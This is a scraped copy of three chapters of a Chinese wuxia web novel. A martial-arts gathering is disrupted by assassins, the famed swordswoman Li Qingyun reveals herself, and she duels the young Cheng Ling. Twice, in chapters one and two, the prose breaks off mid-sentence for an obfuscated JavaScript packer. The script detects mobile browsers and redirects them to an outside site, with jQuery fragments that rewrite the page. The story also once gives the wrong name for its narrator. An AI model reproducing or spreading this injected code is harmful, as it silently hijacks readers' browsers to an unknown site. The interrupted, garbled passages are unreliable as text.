《折竹问道》 1. 第 1 章 凉州,武威山。 程奚爬上一节石阶,已是累得出气多进气少。 他伸出颤颤巍巍的手,一把拽住身前一个孩童的衣袖,气若游丝道:“喂,程灵!你倒是等等我啊……” 程灵回过头来,年纪虽小,脸上却已经有了几分异于同龄人的沉稳。她并未说话,脚步却明显放慢许多,与程奚一同保持着走三步歇两步的速度,二人终于在一刻钟之后登上了山顶。 今年的武林盟会正是在这武威山上举办,只在山顶地势开阔处设立一座比武台,有意之人皆可登台比试。盟会三年一度,为期数月之久,比武台上的人往往络绎不绝。 然而不知为何,今日山顶的人明明多得出奇,比武台上却始终空无一人。众人皆引颈四下张望,窃窃私语,似乎在翘首以盼谁的到来。 程奚仗着自己年纪小脸皮厚,拉着程灵便往人缝里钻,一通乱挤之下竟还真让二人挤到了比武台的最前缘。他随手理了理蓬乱的头发,颇有几分得意地撞撞程灵的肩膀:“怎么样,出门在外还得靠你师兄我的厚脸皮吧!” 程灵瞥他一眼,嘴角微抿,并不接话。程奚自觉无趣,悻悻地左顾右盼,见自己身旁立着一位身着绿衣的女子。 那女子约莫二十上下年纪,身量高挑,未携兵刃,但气息沉稳,想来也是武林中人。程奚这张嘴向来闲不住,便凑上前搭话:“这位姐姐,敢问这比武台上为何一直空着啊?” 绿衣女子颇为热心,答道:“在等‘竹影断虹’现身。” “竹影断虹?”程奚茫然挠头,“竹影断虹是什么?” 他向来对这些江湖中事不甚了解,此次千里迢迢来武威山也不过是为了看顾师妹程灵,免得她独自一人半路出什么差池。 “你不知道竹影断虹?” 绿衣女子脸上掠过一丝讶异,将他上下打量一番,见程奚年纪尚轻,这才了然:“原来是初出茅庐的小辈,怪不得没听过这个名号。” 程奚虽不擅长武学之道,却挺爱听些轶闻,当即拱手道:“还请姐姐详解。” “好说好说。”恰好绿衣女子也是个爽快人,她指了指空着的比武台,“照往年的盟会来看,竹影断虹总会在三月十六——也就是今日现身比武。想与竹影断虹切磋之人数不胜数,大家自然都虚位以待。” 程奚说:“想必这‘竹影断虹’是位顶尖高手了。” “不错。此人是个剑客,姓李名青筠。而‘竹影断虹’之称,则来自其成名之战。说起这成名一战,就不得不提‘花褪残红’——弟弟,‘花褪残红’你总知道吧?” 这个程奚倒是略知一二——或者说江湖中上到九十九下到才会走,基本不会有人不知道“花褪残红”这个恶名昭著的刺客组织。 他点点头,附和道:“花褪残红嘛,我当然知道。听说里面的刺客个个武功高强、心狠手辣,只要酬金到位,就算是当朝皇帝的人头都能弄到手。” “不错。”绿衣女子接着道,“而那‘竹影断虹’李青筠,当年仅凭一人就杀退花褪残红二十刺客!” 程奚不由惊讶地瞪大双眼:“二十个?!” 别看只有区区二十刺客,因为哪怕只是从花褪残红里随意拎出一个,常人尚且难以匹敌,更别说孤身与二十个刺客缠斗,还要将其斩尽杀绝了。 这竹影断虹该有多强的实力?恐怕说是江湖上首屈一指也不为过吧! 怪不得他那个武痴师妹明明不喜欢人挤人的地方,却还非要今日来武威山,原来如此啊。 绿衣女子看上去对“竹影断虹”很是崇拜,绘声绘色地描述:“彼时正是雨夜,年仅十六的李青筠被花褪残红追杀至一片竹林。剑已卷刃,穷途末路,此人索性折竹为剑,死战一夜,待刺客被杀尽时恰好天明雨霁,而竹林间已是晨雾氤氲,映出一道血色长虹——” 说罢,她像说书人似的“啪”一抚掌,得意地问:“如何?单枪匹马杀了花褪残红二十个顶尖刺客,竹影断虹是不是很强?” 程奚连忙捧场:“简直上天入地无人能及!” “哈哈哈哈,那是当然!”绿衣女子抱臂,“依我看,当今江湖之中,李青筠当属第一。” 忽然,二人身旁有一络腮胡大汉出声反驳:“哼,那倒也不见得!” 绿衣女子冷不丁被人拆了台,猛地转头瞪向他,不悦道:“如何不见得?如今还有谁能与李青筠相匹敌,你倒是举个名号出来。” 络腮胡大汉也不知道是不屑李青筠此人,还是看不惯绿衣女子那轻狂的架势,梗着脖子与她呛声:“且不论各位隐世的前辈,咱们就说武林中辈分相当的——‘寒鉴分江’肖凛,你敢说竹影断虹定能胜过他吗?” “有何不敢!”绿衣女子抱臂冷笑,“江湖上谁不知那肖凛只是个沽名钓誉之徒?不过是劈开了江面的冰,就不要脸地号称什么分江、分海的,还敢与竹影断虹相提并论!” “嘿,你这丫头颠倒黑白,好不讲理!人人都知肖凛当年护送楚王世子过江,为了阻挡追兵才一刀斩断了三尺厚的冰面。此举既义且勇,非常人力所能及,怎么到你嘴里却成了沽名钓誉?若照你这么说,那李青筠也不过是折了根破竹子,杀了几个人罢了!” “杀了几个人‘罢了’?!”绿衣女子大怒,“你且让肖凛去寻花褪残红,看他能杀几个!” “只会打打杀杀算什么本事?像肖大侠这样侠肝义胆之人才值得敬佩!” 怎么就吵起来了? 程奚夹在二人中间,顿时觉得一个头两个大,悄悄抹了把汗。 他踢了踢程灵的小腿,示意她快帮忙解围。程灵懒得理他,这次连头都没回,直接对身旁吵闹的三人充耳不闻。 所幸这一番争论混在攒动的人群里,不算什么大动静。程奚怕殃及池鱼,正欲溜走,却被绿衣女子猛地拽住:“好弟弟,你来说说,这二人到底谁更胜一筹?” 什么分江、断虹的,他一个都不认识啊!!! 程奚干笑着打圆场:“哈哈,依我看,谁强谁弱打上一场不就知道了?说不定今日这两位都会来呢。” “只怕肖凛那厮不敢来吧。”绿衣女子哼笑一声,“他不是从来都对李青筠避而不见吗?” 这倒也确实,络腮胡大汉一时语塞。 似乎从来没人见过这两位年轻一辈的翘楚同在一处现身,更遑论交手。听闻那李青筠行事张扬、喜好热闹,所以凡有此人参与的盟会或聚义,肖凛都一律回绝。 据说有一次武林盟主云青鹤过寿,广邀天下侠客一聚,肖凛人已至门外,听见屋里传来李青筠的笑谈声,直接转身就走,对此人简直如避蛇蝎。 有人说是肖凛自知不敌,只能避其锋芒;也有人说是李青筠心胸狭隘,刻意排挤;还有说二人是世仇的,有说是旧友恩断义绝的……反正说什么的都有,就是从未听两个当事人亲口提起过。 络腮胡大汉说不过她,怒气冲冲地拂袖而去。绿衣女子胜了一筹,揽过程奚的肩膀哈哈大笑。 “好弟弟,这次要多谢你。你叫什么,师承哪门哪派,我回头登门拜访!” “我叫程奚,小门小派名不见经传,还是不提了。”程奚动了动身子,想从她手下躲开,“……拜访也不必了,多谢姐姐。” “客气什么,好说好说。我看你——” 她捏了捏程奚的肩骨,发现很是普通,实在无法昧着良心夸出来,于是话锋一转。 “——你旁边这位师妹根骨上佳,日后必成大器,哈哈哈!” 程灵被猝不及防点了名,终于肯将目光从空荡荡的比武台上收回来,没什么表情地看了绿衣女子一眼,朝她很轻地点了下头致意。 绿衣女子受了冷待也丝毫不恼,见这小姑娘雪胎梅骨,眉目间有一种澄澈的灵气,越看越喜欢。 她是惜才之人,看得出程灵是个习武的好苗子,于是半蹲下身,一只手轻轻搭在程灵肩上,神色认真道:“如今世道不安稳,这位小友若是想寻一处潜心修炼的地方,不妨来月下十九峰。” 程奚闻言一怔。 ……月下十九峰?! “月下十九峰”其实是俗称,这个门派全名“月下飞天镜”,门派内有十九座山峰,每峰各有所长,故而又称“月下十九峰”,是江湖上数一数二的名门正派。百年传承,高手云集,因此收徒条件也极为严苛。 果然人不可貌相,没想到这个大大咧咧的绿衣女子竟出自月下十九峰门下,想必也是个高手。 然而面对别人求都求不来的机缘,程灵却丝毫不为所动。她以一贯冷淡的态度回绝道:“不必了,多谢前辈。我有师傅。” “正是正是!”程奚生怕师妹被人挖了墙角,连忙帮腔,“程灵是我们这群弟子里唯一出彩的,万一她走了,整个师门怕是都要完蛋。” “哈哈哈哈,那便罢了!”绿衣女子也不计较,潇洒地拍拍程灵的肩头,一边起身一边小声嘟囔,“小门派里竟能教出这样的好苗子,真应该让十九峰那些眼高于顶的老东西来看看,啧啧啧……” “原来这位姐姐来自月下十九峰,难怪见多识广、气度不凡。”程奚嘴甜,捧场道,“说了这么久,还未请问姐姐名号?” “哈哈,你眼光不错。”绿衣女子毫不自谦地一拱手,“我呢,正是——” 话音未落,异变陡生! 只听得“砰”的一声巨响,如闷雷炸开,自比武台上传来! 喧闹的人群骤然一静,千百道目光齐刷刷投向台上。 一名老者横倒台上,似是被人以巨力猛掼而下,竟将那坚硬石台砸得凹陷几分。而他已是悄无声息,生死不知。 不明情况的人高声问:“出什么事了?” 站得近的一人壮着胆子上前去探了探,手指刚触及老者鼻息,便猛地缩回,颤声叫道:“死了!他死了!他……他脸上有花签,是花褪残红干的!!” 常言道“杀人不留名”,花褪残红却反其道而行之,每杀一人,都会在死者面部极其嚣张地刻下一朵花的纹样,名为“花签”。花签一出,必是花褪残红在为恶作乱。 有人叹息道:“看来这老头是被买了凶,也不知有多大的恩怨,他的仇家竟去寻花褪残红动手……” “我看不是。”绿衣女子不知意识到了什么,神色一沉,忽然开口说道,“若仅仅是买凶杀人,花褪残红何必在众目睽睽下动手?又何必闹出这么大动静?要知道那群刺客行事向来是来去如风,杀人也讲求不着痕迹。” 一见花签,在场几乎所有人都认定是花褪残红出手,如今却有人反驳,当真是稀奇。于是立刻有好事者反问:“那依你看,难不成是有人模仿花褪残红杀人?” 众人不是想不到这一关节,曾经也有杀人后嫁祸给花褪残红以逃避嫌疑的,但最后都被花褪残红给挨个揪出来,死得别提有多惨。 且花褪残红的花签都是用特质银针刻下的,笔画繁复,粗细、深浅均匀,需要一定的功力才能在人脸上刻画出如此图案,因此极易辨认又难以模仿。 绿衣女子翻身跃上比武台,俯身在那老者尸首旁查看一阵,随即摇摇头道:“不,花签无误,的确是花褪残红的手笔。” “到底是还是不是?”方才与她争执的络腮胡大汉不耐烦地高声质问,“丫头,若你弄不明白就让开,人命关天,我们没心情看你哗众取宠!” 直到这时,程奚才从突如其来的一系列变故中回过神来。他多管闲事的坏毛病故态复萌,生怕绿衣女子当场又与人吵起来,赶忙也翻身挤上比武台。 “姐姐冷静,冷静——”程奚劝道。 他听见绿衣女子重重地深吸一口气,转头朝他露出一个看上去很扭曲但努力装作若无其事的微笑。 “我一直很冷静啊,哈哈。” 程奚:“……” 她又深呼吸几下,尽量心平气和解释道:“我的意思是,花褪残红的确是来杀人的,但是要杀的,不是这位老者,他只是被当作了钓鱼的饵。” “也就是说,刺客还在人群之中。” 她目光缓缓扫过台下黑压压的人群,声音不高,却清晰传入每个人耳中 此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334311|199213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言一出,四下大惊! 在场的江湖人大都是来凑个热闹,多是些小门派的弟子,想要一睹竹影断虹的风姿,却不想将命送在这里。 花褪残红的刺客武功高强,且最擅伪装,混入人群中就像水滴落进河流,极难察觉。他们会为了取一人性命而杀九十九个挡路者,就算不是花褪残红的目标,也很有可能仅仅因为站在附近就被顺手杀掉,死得不明不白。 ——滥杀无辜,视人命为草芥,这也正是花褪残红最受诟病、最令人发指的原因之所在。 不知何时降临的危险最令人畏惧,众人心头大震,纷纷亮出武器凝神戒备。程奚摸了摸腰间,这才想起自己没有随身带佩刀,心中顿时后悔不迭。 早知道就像程灵的一样,时时刻刻刀不离身了!现在怎么办?! 他探出头去,远远朝台下的程灵抛出一个求救的眼神。程灵早在死者被发现时就已经拔刀出鞘以防不测,但是千防万防没看住自己这个爱管闲事的师兄。见程奚此时处境太过显眼,立即抬步上前要去保护他。 忽然,程奚听见绿衣女子低声说了一句:“别让她上来。” 他一愣,不知为何竟下意识照做。程灵与他自小一道长大,眼神交汇间就明白了他的意思,于是停在原地,止步不前,只不过动作依然紧绷着。 照做完了,程奚才想起来呆呆地问一句:“为什么?” 绿衣女子幽幽道:“因为……有你一个人当靶子就足够了。” “啊?——等等?靶子?!” 看着程奚的表情从呆愣到疑惑再到恍然大悟最后满脸惊恐,绿衣女子被他逗得“扑哧”一笑,也不防备随时可能出手的刺客,撑着膝乐了半晌,才道:“哈哈哈哈哈哈,你真信啊?我开玩笑的!” 程奚:“……” 见她居然还笑得出来,比武台下那个络腮胡大汉总觉得自己被无故嘲弄了一番,很是不满:“你笑什么?莫不是你这丫头在耍我们?!” “当然不是。” “那你倒是告诉我们,花褪残红到底要杀谁!” “就是,说啊!不要故弄玄虚!” “你是哪门哪派的后生?师长没有告诉过你,出门在外不要乱出风头吗?” 也许是她性子太张扬,第一印象很容易讨人不喜,特别在一些上了年纪的长者眼中,他们最是厌恶像她这种轻狂得不知天高地厚的小辈。 眼见就要落得个千夫所指的下场,绿衣女子的笑声却丝毫未敛,她边笑边道:“花褪残红要杀的,自然是李青筠。” 花褪残红要杀李青筠? 台下众人皆是一愣,随即转念一想,也是,双方积怨已久,这次盟会李青筠难得现身武威山,花褪残红怎么可能放过杀人的良机。 而今日李青筠迟迟不来,花褪残红恐怕是按捺不住,所以才大张旗鼓地杀了一人,想要引李青筠现身。 “李青筠难不成是料到花褪残红在场,所以才迟迟不来?” 络腮胡大汉“哼”了一声:“李青筠自己倒是躲得好,反而连累了我们这些无辜之人。” 他这话只是小声嘟囔,即便如此,还是叫身旁的人听了去,立刻有人指责:“人分明是花褪残红杀的,你怪到李青筠身上算什么事?” 络腮胡大汉反问:“那你倒是说说,今日李青筠怎么不现身?” 早已等得不耐烦的人声援他:“此人向来不都是这样吗?非要等到万众瞩目才肯出场。” 这话倒也不错,李青筠行事太过自我,早就明里暗里饱受诟病。 “若是换作肖大侠,他定不会让这种事发生。”络腮胡大汉说,“肖大侠温良谦和,性情比那李青筠强上百倍。” 有人冷笑:“我说呢,原来是肖凛那厮的拥趸。你家肖大侠知道自己养了你这么一条好狗吗?” 一群人七嘴八舌地争吵起来,很快引起了台上绿衣女子的注意。 她高声打断几人:“与其争执,不如找找刺客藏在何处。” “对对对!”程奚连声附和,“先把花褪残红揪出来再吵也不迟……” “嗖——!” 他话未说完,眼前竟有一只飞镖破空而来,直刺门面! 程奚功夫差劲,一时竟反应不及,浑身僵硬地愣在原地,心中哀嚎“我命休矣”。 然而下一刻,一颗石子自身后以更快的速度飞射而来,猛地击打在镖身,使其方向微微偏离。飞镖也因此避开了要害,擦着程奚的脸颊而过,只留下了一道浅浅的血痕。 一切发生在电光石火之间,许多人甚至都没有察觉的这短短一息之内发生了什么,只有亲历命悬一线的程奚倒吸一口凉气,颤抖着抬手摸了摸自己脸侧的伤口。 直到此时,新添的那道伤口才缓缓渗出血来。 他心中清楚,若非方向发生偏移,那飞镖定会将自己自眉心射个对穿! ……是谁要杀他? 花褪残红? 又是谁救了他? 程奚还记得那颗救命的石子自身后飞出,他连忙劫后余生地回过头去,寻找自己的救命恩人。 一转头,就见绿衣女子一手托下巴,一手拈着颗石头端详,摆出一副“虽然自己不想被发现做了好人好事但是求求你一定要发现最好大声说出来”的模样。 “姐姐,是你出手救了我,多谢!” 绿衣女子粲然一笑:“有我在,自然没人能杀你。” 也对,她毕竟是月下十九峰的高手,程奚心想着,连忙躲到绿衣女子身后,指着飞镖射来的大致方向告状。 “刺客在那边!” 被他指到的人群一片哗然,顿时如潮水般四散开,只有当中几个装扮不起眼的男子一动未动。 绿衣女子看向他们,嘴角微笑的弧度没有丝毫变化,眼神却冷冷沉了下来。 “就是你们要杀李青筠?” 她信手折下比武台边的古松的一截青翠枝条,指尖一弹,随即抬眼,以枝为剑,直直指向那几个刺客。 “李某在此,想取我性命,尽管来。” 2. 第 2 章 “然后呢然后呢?” “然后嘛——” 青年忽地站起身,张牙舞爪地比划:“她就这样,歘——一剑,嘿!哈!唰唰唰——坏人就倒了一地!” “哇,真厉害!”小师妹两眼亮晶晶的,满脸羡慕看着青年,“程奚师兄,我什么时候能去武林盟会呀?今年可以吗?” “你?”程奚捏捏她单薄的肩膀,笑道,“你个头还没咱们师傅的刀长,就想着要去盟会了?” “可是程灵师姐六年前第一次去盟会,不也是和我差不多年龄嘛,她后来还上台和竹影断虹比试了呢。” 小师妹自觉受了轻视,不满地攥起拳头打他:“再说了,我只想去看竹影断虹,又不是要自己上台和人比武,怎么就不行了?” 程奚问:“真那么想去?” “嗯嗯!”小师妹看他似乎有松口的迹象,连忙点头如捣蒜。 “哪怕像我们当年一样倒霉,遇到花褪残红也不怕?” 花褪残红还是要怕一下的。小师妹犹豫了半晌,最终下定了天大的决心,用力点头:“……嗯,我不怕!” “好啊,我同意了。”程奚抱臂,朝屋门口扬了扬下巴,“去问问你师姐,若是她也同意,那我们今年就带你去。” 小师妹是趁练功时没人看管偷跑来的,此时程奚一提师姐,她浑身顿时吓得一抖,小声央求:“好师兄,我不敢,你帮我去问问嘛……” “万俟玉。” 身后忽然有人唤她,连名带姓的。 万俟玉又打了一个更大的哆嗦,动作僵硬地扭回头去,看见了一个抱刀立在门口的颀长身影。 不是别人,正是她的师姐程灵。 “为何不好好练武?” 程灵脸上没什么表情,语气也是淡淡的。她同样没放过躲在后面幸灾乐祸的程奚,冷声道:“师兄,你惫懒就罢了,不要领着她胡闹。” “我错了。”程奚飞速认错,但悔不悔改不一定。不过他这个师兄还算厚道,好心帮小师妹请愿,“小玉正和我说呢,她想随我们一道去幽州。” 三年一度的武林盟会在各州轮流举办,这次轮到了幽州,距离他们所在的秦州不远。程奚方才也不算哄骗他师妹,而是真心觉得带这小屁孩去长长见识也不错。 当然了,想都不用想,肯定会被程灵一口回绝。 果然,程灵道:“不可。” 她说“不可”,那就是绝对再没有转圜的余地了。除非万俟玉有本事去后山把闭关的师傅喊出来,让师傅亲口同意她去幽州。 小孩当即一瘪嘴,“哇”地哭了出来。 程灵让她出去院子里哭,顺便扎好马步。程奚听着外面撕心裂肺的哭嚎有些不解地问:“小玉以前也不是没有闹过脾气,怎么这回倒哭得厉害?” 小师妹一向还算懂事,往年不让她去,嘟囔几句也就过去了,程奚还从没见她像这样嗷嗷大哭呢。 “今年盟会定址幽州的月下十九峰。”程灵走回屋内,坐到程奚身旁的竹椅上,“大概是你日日与小玉讲当年竹影断虹之事,让她以为去了幽州就有机会得见李青筠。” “这也怪我?!”程奚大惊失色,随即倒打一耙,“那你也脱不了干系!小玉要不是听说你和竹影断虹比试过一场,肯定也不会如此惦记。” 推脱一番下来,二人半斤八两。沉默着听了半晌渐渐有气无力的哭嚎,程奚忽然道:“也是,毕竟那样的人物,只要见过一次,又怎么可能忘记呢……” —— 最后一个刺客轰然倒地,李青筠手上挽了个剑花,甩了甩上面溅到的血水,笑道:“可惜了,这武威山上没有竹林,在下只能折松枝为剑。” 此话一出,众人这才定睛去看,惊诧地发现一番打斗之后,她手中那根松枝上的针叶甚至都未落,正在枝头被风吹得微颤。 听说自从四年前竹林雨夜那一战,李青筠弃了本命剑后,就再也没有随身带过佩剑,向来是就地取材,随手折上一节竹枝当剑。然而武威山地处西凉,自是没什么竹林供她用,就只能先拿树枝充数了。 “还有吗?” 她四下环顾,等了半晌,见再没有刺客冒出来,又笑道:“既然如此,比武继续,各位——” “且慢!” 忽然有人出声打断她,李青筠循声望去,发现依然还是那个先前与她争执的络腮胡大汉。 “你就是李青筠?” “怎么?”李青筠挑眉看他,“认不出我的脸,还认不出我的剑法吗?” “竹影断虹”李青筠,武林皆知此人除剑术外最擅易容,虽然喜好热闹,但从不以真容示于人前,可能昨日酒宴之上还是个垂垂老者,明日台前就会化作一瘦弱少年。因此众人辨认竹影断虹从不靠外貌,只需要看她那一手独门的“折竹剑法”。 有深谙武学之人朗声道:“没错,她使的正是折竹剑法!” 不过络腮胡大汉显然意不在质疑李青筠的身份,他继续粗声粗气地质问:“既然你早就在此,为何不早早现身?” 李青筠耸耸肩,倒是很坦诚:“当然是在等一个万众瞩目的时刻。” “……” 络腮胡大汉被她的不要脸震撼得哑口无言,噎了好半晌才找回思绪,“正因为你蓄意拖延,那名老者才惨遭毒手。李青筠,你偿得起这一条人命吗?!” 李青筠奇怪地问:“人又不是我杀的,为何要我偿还?” 她不像是有意为自己开脱,更像是在真心发问。 人群中顿时一片嘘声。 再怎么说,那名无辜老者惨死也多多少少受到李青筠牵连,武林推崇正派,哪怕是做做样子,她好歹也应该口头揽下错误、抚恤死者。 ——这还只是一般人的做派。若是放在那位肖凛肖大侠身上,有人因他而死,他恐怕二话不说就会提刀抹脖子谢罪。 与络腮胡大汉废话一番,李青筠早已经有些不耐烦。她甩了甩手中松枝,道:“对我有什么意见,不妨上前来,用你的剑说话。” 一听这话,络腮胡大汉脸上露出退缩之色,忍不住倒退两步。 比武台上有规矩,点到为止,不能伤及性命。可谁知李青筠会不会对他下狠手?被打到只剩一口气,那也是未伤及性命! 李青筠见他退却,嗤笑一声:“懦夫。” 品行如何且不论,剑术总掺不了假。大汉退缩了,却多得是想与李青筠比武之人。人群蜂拥而前,她随意点了其中一位,态度却并不轻慢,拱手道:“请。” 只是眨眼间的功夫,第一个人就被打下了台。若程奚没看错的话,那人甚至都没在台上站稳。 随即是第二个、第三个…… 不愧是单枪匹马杀尽二十刺客的竹影断虹, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334312|199213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李青筠连挑近五十人,竟然连气息都没有乱。 程奚实在佩服,转头问程灵:“师妹,你说要是咱们师傅与她对战,胜算有几何?” 程灵正抱着刀聚精会神看向台上,连眼皮都舍不得眨,当然不会有空理他。 “如此剑术,只不过是十九峰排名第三而已。”身旁一个胡子花白的老头摇头感叹,“月下飞天镜的实力恐怖如斯,恐怖如斯啊。” 程奚与老头搭话:“那第一第二又是谁?” “第二自然是云青鹤云盟主,他武功虽不如李青筠,但为人德高望重,因此被尊为第二。至于这第一……”老头顿了顿,压低声音道,“就是当年的‘那位’了。” 那位? ……哪位? 也不知道其中有什么不足为外人道的秘辛,程奚还在傻乎乎地追问:“前辈,‘那位’又是哪位?” 老头不答,只是睨了他一眼:“你这后生见识太浅薄,回去问问你家大人再出来混江湖吧!” “……” 程奚莫名其妙让人训了一顿,不爽,遂转头看回比武台。恰好数不清第几人被李青筠打下了台,他趁机问程灵:“看出什么名堂没有?” 程灵点头。 这么短时间能看出什么? 程奚不信她看这么两眼就能学会,更何况像李青筠这样有独门剑法的高手往往会藏私,在人前只显露一招半式。 否则要是人人都学去了,还称什么“独门”? 罢了,能学一招是一招吧。 不知道今日要打到什么时候,程奚打了个哈欠,环顾乌泱泱的人群,心想这李青筠难不成要把全场人都揍个遍? 然而,就在这时,台上的人收了剑。 “各位,到此为止了。”李青筠拱了拱手,“我平生所学已倾囊相授。” “——倾囊相授?谁信?这时候你倒是会说好听话了!” 程奚转头一看,果不其然,又是那络腮胡大汉。他不由无奈扶额,心想:这人是专程来抬杠的吧! 李青筠八成对此人也没了耐心,这次看都没看他一眼,却被大汉误认为心虚。 他正要乘胜追击,忽然有人冷声打断。 “一百零九。” 这声音耳熟,而且离程奚很近。他一回头,才发现说话的竟然是程灵。 “……什么?” “一百零九人,一百零九式剑法。”程灵的声音不大,却掷地有声,“意脉流贯,有始有终,这是完整的折竹剑法。” 这样算来,一人一式,李青筠的确已倾囊相授。 李青筠听罢她的话,笑着鼓了鼓掌:“正是如此。我从不曾藏私,至于能不能领悟,那就是你们的事了。” 李青筠看向程灵,饶有兴致地朝她招手。 “这位小友……” 想了想,还不知道对方名字,于是道:“打一场?” 程灵看向程奚。 “想去吗?”程奚问她。 程灵毫不犹豫地点头。 虽然师傅临走前说了,不许二人上比武台,但是……管她呢,天高皇帝远,谁让她不在旁边亲自守着。 程奚作为师兄拍了板:“去吧。” 人群分开一条狭窄的通道,许多人惊诧地打量着这个看上去尚且稚嫩的孩童。 程灵在目送中走向了比武台。 3. 第 3 章 程奚颇有种目送孩子去科考的老父亲心态,看着程灵上了台,抽刀,摆起手式。 嗯,挺好,大大方方的。他欣慰地默默点头。 台上,李青筠挽了个剑花,连战一百余人,她手中的松枝竟依旧完好如故。 达到一定程度的武林高手都是内外兼修,外练身法,内修内力,缺一不可。李青筠之所以能用脆弱的竹竿、树枝与人打斗甚至杀人,正是因为她会将内力灌注其上,挥剑时兵不血刃,内力才是她真正的武器。 可奇怪的是,程奚和程灵的师傅始终未教二人如何修炼内力。不知为何,连师傅她老人家自己都没有内力傍身。 程奚晃了晃脑袋,抛开这些乱七八糟的思绪,抱着臂继续旁观程灵挨揍。 是的,挨揍。 李青筠抽陀螺似的抽了程灵两圈,发现这孩子没有半点内力傍身,她也就不再用内力,只凭真刀真枪的工夫与程灵对打。 可是即便如此,她也能将对方揍得毫无还手之力。 程灵想观察她的剑式,可是连李青筠人在何处都无法及时捕捉。李青筠的折竹剑法力求干脆利落、一击毙命,树枝如雨滴般落在程灵身上,每一击都落到了致命的地方,但由于收了力道,以至于看上去像是一场猫抓老鼠式的戏弄。 原本就不轻的刀此刻更是沉得像百吨重铁,程灵握在手中,抬都抬不起来。 李青筠动作停了一刻,问:“还打吗?” 程灵毫不迟疑地点头,她抿了抿唇,尝到自己口中的铁腥气。似乎猜到了对方下一剑会落在哪里,她将刀横在身前,竟不偏不倚架住了李青筠的剑! “咦?”李青筠从这一式中看出端倪,“悟性不错。” 再变幻莫测的功法也是人演出来的,性格、偏好、流派通通有迹可循。高手过招往往先试探几合,摸清对方的路数之后再寻求突破,记性、眼力、理论知识等等缺一不可。只不过程灵还没到那种水平,完全是出自直觉接住了这一剑。 可既然被李青筠察觉,她又岂会任凭程灵拆自己的招。 台下一人惊呼:“竹影断虹换了左手剑!” 或许常用的右手会有一些她自己都难以察觉的习惯,那么,换一只手呢? 这一式俗称“换手剑”,不是个常见的法门,毕竟并非人人都有这个自信让一只陌生的手掌握武器,因此大多只会在受伤力竭甚至是断臂的危急关头用换手剑。 “不是吧,这么认真……” 程奚小声嘟囔,话虽如此,心中却也十分佩服李青筠此人面对对手的态度。 和一个连内力都没有的小孩子打,却从不轻慢,仅仅被无意间拆掉一招就用上了换手剑。与其说她是杀鸡用牛刀,倒不如将今日这一局视作一场教学。 但愿程灵的心态别被她打碎吧。 程奚继续看向比武台。台上,李青筠的左手剑是一种截然不同的进攻路数,比起右手干脆利落的杀招,左手则多了些花里胡哨的晃眼式,时不时挽个剑花,将程灵骗得越发晕头转向,好几次都差点一头栽下台。 树枝又一次点停在她额心,李青筠停手笑道:“妹妹,你已经在我手里死过七十一回了。” “……” 程灵沉默不语,只是第七十二次提起刀来,准备迎接她的下一式。 李青筠神情中带着赞赏,再一次向她抛出橄榄枝:“妹妹,真的不要来我们月下十九峰?无需通过试炼,直接入我门下,童叟无欺哦。” 程灵摇摇头,李青筠颇为可惜地叹了一口气,气未落地,人已旋身闪至背后,手里的树枝从程灵手臂夹角间的空隙刺过,直指她手腕脉门。 这个角度刁钻又巧妙,若是一击得中,程灵必然连刀都要脱手。 在遮挡下没人能看清二人的动作,但台上骤然响起“咔”一声,像是什么东西断掉的声音。 不会是把程灵手臂打折了吧…… 虐待儿童啊! 程奚急忙向前挤了几步,硬是挤到台边,仰头去看。只见李青筠退开一步,露出程灵的身影,她半跪在地,脸颊破了一道口子,正汩汩流出血来。 程灵有些懵然地四下望了一圈,与程奚目光相触,这才松了一口气,撑着地站起身。 看样子胳膊没断,腿也没断,程奚提着的心总算落回胸腔,纳闷地想,那是什么东西断了? 他还在琢磨时,忽然有人大喊:“这少年斩断了竹影断虹的剑!” 断的是李青筠的剑? 程奚一愣,顺着那人指的方向看去,发现李青筠手中的树枝果然只剩下半截,而断掉的那一半,正落在程灵脚边。 没看清的人纷纷问:“她怎么做到的?谁看见了?” “不知道啊,动作太快了!” 程奚听到身旁那老头低声说了两个字:“换刃。” “换刃?”他下意识接过话头,“什么意思?” “李青筠换手,这孩子便有样学样换刃。”老头看起来也是个武痴,这时倒有耐心为他解释,“调转刀刃,朝向自己,在李青筠从身后刺来时,顺势将剑斩断。” 可是能供程灵施展的空间极其狭窄,仅限她手臂与身前几寸的距离,她又是如何发力断剑的? 老头似乎看出方衔玉的疑问,继续说:“很简单,后生,你总见过切菜吧?刀就是刀,那根树枝是菜,只要以自己的身躯为砧板,无需多宽敞的空间,她就能够发力将‘菜’切断。” “这孩子将力道控制得不错,只划伤了脸。”老头点评道,“若是再莽撞点,恐怕要自己将自己砍个对开喽。” 程奚握在掌心的手指一紧,总算知道程灵脸上的伤口怎么来的,心里说不出是什么滋味。 这死丫头,赢不赢输不输的难道比命还重要吗? 反正都被李青筠揍了那么多回合了,领悟到剑法就行,何必拿命去赌,非要掰回这么小小一成? 就算断了对方的剑,那又能怎么样?在场的人都知道李青筠连内力都没有用,打她就和打一只小蚂蚁差不多,即便这小蚂蚁拼尽全力咬对方一口,也只是不痛不痒,没人会记得的。 他真的很想问问程灵,值得吗? 把自己弄得浑身是伤、满脸是血,却依然像蜉蝣撼树般微不足道,值得吗? 老头说得果然不假。比武台上,李青筠看了看手中断枝,挑眉道:“学我?” 程灵不卑不亢行了一礼:“多谢前辈教导。” 